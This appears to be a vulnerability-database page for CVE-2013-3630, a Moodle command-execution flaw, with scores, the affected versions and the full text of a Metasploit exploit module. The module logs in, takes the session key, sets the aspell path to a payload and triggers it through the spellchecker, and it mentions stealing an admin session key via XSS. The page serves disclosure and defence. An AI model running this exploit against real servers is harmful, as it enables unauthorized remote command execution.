CVE-2013-3630 : Detail

CVE-2013-3630

Code Injection
A03-Injection
1.68%V3
Network
2013-11-01
00h00 +00:00
2021-10-12
15h06 +00:00
CVE.org
NVD
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CVE Descriptions

Moodle through 2.5.2 allows remote authenticated administrators to execute arbitrary programs by configuring the aspell pathname and then triggering a spell-check operation within the TinyMCE editor.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.6 AV:N/AC:H/Au:S/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 29324

Publication date : 2013-10-30 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit4 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Moodle Remote Command Execution', 'Description' => %q{ Moodle allows an authenticated user to define spellcheck settings via the web interface. The user can update the spellcheck mechanism to point to a system-installed aspell binary. By updating the path for the spellchecker to an arbitrary command, an attacker can run arbitrary commands in the context of the web application upon spellchecking requests. This module also allows an attacker to leverage another privilege escalation vuln. Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey and use this to escalate privileges to that of an admin, allowing the module to pop a shell as a previously unprivileged authenticated user. This module was tested against Moodle version 2.5.2 and 2.2.3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module ], 'References' => [ ['CVE', '2013-3630'], ['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet python', } }, 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Targets' => [['Automatic',{}]], 'DisclosureDate' => 'Oct 30 2013', 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [ true, "Password to authenticate with", '']), OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]), OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/']) ], self.class) end def exploit init = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php') }) sess = init.get_cookies post = { 'username' => datastore["USERNAME"], 'password' => datastore["PASSWORD"] } print_status("Authenticating as user: " << datastore["USERNAME"]) login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/login/index.php'), 'vars_post' => post, 'cookie' => sess }) if !login or login.code != 303 fail_with("Login failed") end sess = login.get_cookies print_status("Getting session key to update spellchecker if no session key was specified") sesskey = '' if datastore['SESSKEY'] == '' tinymce = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce', 'cookie' => sess }) tinymce.body.each_line do |line| next if line !~ /name="sesskey"/ sesskey = line[0..line.index('>')] end if sesskey == '' fail_with("Unable to get proper session key") end sesskey = REXML::Document.new sesskey sesskey = sesskey.root.attributes["value"] else sesskey = datastore['SESSKEY'] end post = { 'section' => 'editorsettingstinymce', 'sesskey' => sesskey, 'return' => '', 's_editor_tinymce_spellengine' => 'PSpellShell', 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv' } print_status("Updating spellchecker to use the system aspell") post = { 'section' => 'systempaths', 'sesskey' => sesskey, 'return' => '', 's__gdversion' => '2', 's__pathtodu' => '/usr/bin/du', 's__aspellpath' => payload.encoded, 's__pathtodot' => '' } aspell = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/admin/settings.php'), 'vars_post' => post, 'cookie' => sess }) spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}' print_status("Triggering payload") resp = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'), 'data' => spellcheck, 'ctype' => 'application/json', 'cookie' => sess }) if !resp or resp.code != 200 fail_with("Error triggering payload") end end end

Products Mentioned

Configuraton 0

Moodle>>Moodle >> Version To (including) 2.5.2

Moodle>>Moodle >> Version 1.1.1

Moodle>>Moodle >> Version 1.2.0

Moodle>>Moodle >> Version 1.2.1

Moodle>>Moodle >> Version 1.3.0

Moodle>>Moodle >> Version 1.3.1

Moodle>>Moodle >> Version 1.3.2

Moodle>>Moodle >> Version 1.3.3

Moodle>>Moodle >> Version 1.3.4

Moodle>>Moodle >> Version 1.4.1

Moodle>>Moodle >> Version 1.4.2

Moodle>>Moodle >> Version 1.4.3

Moodle>>Moodle >> Version 1.4.4

Moodle>>Moodle >> Version 1.4.5

Moodle>>Moodle >> Version 1.5

Moodle>>Moodle >> Version 1.5.0

Moodle>>Moodle >> Version 1.5.1

Moodle>>Moodle >> Version 1.5.2

Moodle>>Moodle >> Version 1.5.3

Moodle>>Moodle >> Version 1.6.0

Moodle>>Moodle >> Version 1.6.1

Moodle>>Moodle >> Version 1.6.2

Moodle>>Moodle >> Version 1.6.3

Moodle>>Moodle >> Version 1.6.4

Moodle>>Moodle >> Version 1.6.5

Moodle>>Moodle >> Version 1.6.6

Moodle>>Moodle >> Version 1.6.7

Moodle>>Moodle >> Version 1.6.8

Moodle>>Moodle >> Version 1.7.1

Moodle>>Moodle >> Version 1.7.2

Moodle>>Moodle >> Version 1.7.3

Moodle>>Moodle >> Version 1.7.4

Moodle>>Moodle >> Version 1.7.5

Moodle>>Moodle >> Version 1.7.6

Moodle>>Moodle >> Version 1.8.1

Moodle>>Moodle >> Version 1.8.2

Moodle>>Moodle >> Version 1.8.3

Moodle>>Moodle >> Version 1.8.4

Moodle>>Moodle >> Version 1.8.5

Moodle>>Moodle >> Version 1.8.6

Moodle>>Moodle >> Version 1.8.7

Moodle>>Moodle >> Version 1.8.8

Moodle>>Moodle >> Version 1.8.9

Moodle>>Moodle >> Version 1.8.10

Moodle>>Moodle >> Version 1.8.11

Moodle>>Moodle >> Version 1.8.12

Moodle>>Moodle >> Version 1.8.13

Moodle>>Moodle >> Version 1.8.14

Moodle>>Moodle >> Version 1.9.1

Moodle>>Moodle >> Version 1.9.2

Moodle>>Moodle >> Version 1.9.3

Moodle>>Moodle >> Version 1.9.4

Moodle>>Moodle >> Version 1.9.5

Moodle>>Moodle >> Version 1.9.6

Moodle>>Moodle >> Version 1.9.7

Moodle>>Moodle >> Version 1.9.8

Moodle>>Moodle >> Version 1.9.9

Moodle>>Moodle >> Version 1.9.10

Moodle>>Moodle >> Version 1.9.11

Moodle>>Moodle >> Version 1.9.12

Moodle>>Moodle >> Version 1.9.13

Moodle>>Moodle >> Version 1.9.14

Moodle>>Moodle >> Version 1.9.15

Moodle>>Moodle >> Version 1.9.16

Moodle>>Moodle >> Version 1.9.17

Moodle>>Moodle >> Version 1.9.18

Moodle>>Moodle >> Version 2.0.0

Moodle>>Moodle >> Version 2.0.1

Moodle>>Moodle >> Version 2.0.2

Moodle>>Moodle >> Version 2.0.3

Moodle>>Moodle >> Version 2.0.4

Moodle>>Moodle >> Version 2.0.5

Moodle>>Moodle >> Version 2.0.6

Moodle>>Moodle >> Version 2.0.7

Moodle>>Moodle >> Version 2.0.8

Moodle>>Moodle >> Version 2.0.9

Moodle>>Moodle >> Version 2.1.0

Moodle>>Moodle >> Version 2.1.1

Moodle>>Moodle >> Version 2.1.2

Moodle>>Moodle >> Version 2.1.3

Moodle>>Moodle >> Version 2.1.4

Moodle>>Moodle >> Version 2.1.5

Moodle>>Moodle >> Version 2.1.6

Moodle>>Moodle >> Version 2.1.7

Moodle>>Moodle >> Version 2.1.8

Moodle>>Moodle >> Version 2.1.9

Moodle>>Moodle >> Version 2.1.10

Moodle>>Moodle >> Version 2.2.0

Moodle>>Moodle >> Version 2.2.1

Moodle>>Moodle >> Version 2.2.2

Moodle>>Moodle >> Version 2.2.3

Moodle>>Moodle >> Version 2.2.4

Moodle>>Moodle >> Version 2.2.5

Moodle>>Moodle >> Version 2.2.6

Moodle>>Moodle >> Version 2.2.7

Moodle>>Moodle >> Version 2.2.8

Moodle>>Moodle >> Version 2.2.9

Moodle>>Moodle >> Version 2.2.10

Moodle>>Moodle >> Version 2.2.11

Moodle>>Moodle >> Version 2.3.0

Moodle>>Moodle >> Version 2.3.1

Moodle>>Moodle >> Version 2.3.2

Moodle>>Moodle >> Version 2.3.3

Moodle>>Moodle >> Version 2.3.4

Moodle>>Moodle >> Version 2.3.5

Moodle>>Moodle >> Version 2.3.6

Moodle>>Moodle >> Version 2.3.7

Moodle>>Moodle >> Version 2.3.8

Moodle>>Moodle >> Version 2.4.0

Moodle>>Moodle >> Version 2.4.1

Moodle>>Moodle >> Version 2.4.2

Moodle>>Moodle >> Version 2.4.3

Moodle>>Moodle >> Version 2.4.4

Moodle>>Moodle >> Version 2.4.5

Moodle>>Moodle >> Version 2.5.0

Moodle>>Moodle >> Version 2.5.1

References